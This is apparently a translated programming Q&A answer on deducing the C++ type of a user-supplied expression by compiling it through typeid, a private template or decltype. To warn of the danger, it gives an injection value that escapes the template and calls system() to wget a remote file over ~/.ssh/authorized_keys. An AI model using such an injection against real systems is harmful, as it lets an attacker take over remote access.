Improved by MSalter Improvement :
class X { template <typename T> static void foo(T) {} }; int main() { X::foo( $user_code ); }
Result (with $user_code = "1 + 3.0"
):
prog.cpp: In function 'int main()': prog.cpp:2: error: 'static void X::foo(T) [with T = double]' is private prog.cpp:6: error: within this context
This avoids the link stage.
Original answer:
C ++ has the typeid
keyword. In theory, you just need to insert a custom expression into some template, for example:
extern "C" int puts(const char *s); #include <typeinfo> int main(void) { const type_info& the_type = typeid( $user_code ); puts(the_type.name()); }
And then pass this source file to the compiler and run it to get an answer.
It is almost difficult to avoid malicious code. You will need to use a sandbox of a certain type. Or, be really very careful to make sure there are no mismatching parentheses (you know what trigraphs are, right?).
yes I know that the typeid
argument typeid
not evaluated. But let $usercode
be 1); system("wget -O ~/.ssh/authorized_keys some_url"
1); system("wget -O ~/.ssh/authorized_keys some_url"
!
A better option would be to avoid starting the program. With framework (requires C ++ 11), for example:
extern "C" decltype( $user_code )* the_value = 0;
You can run the compiler with the ability to generate debug data, and then use, for example, the dwarf2 reader library and get the character type information associated with the_value
, then delete one pointer level.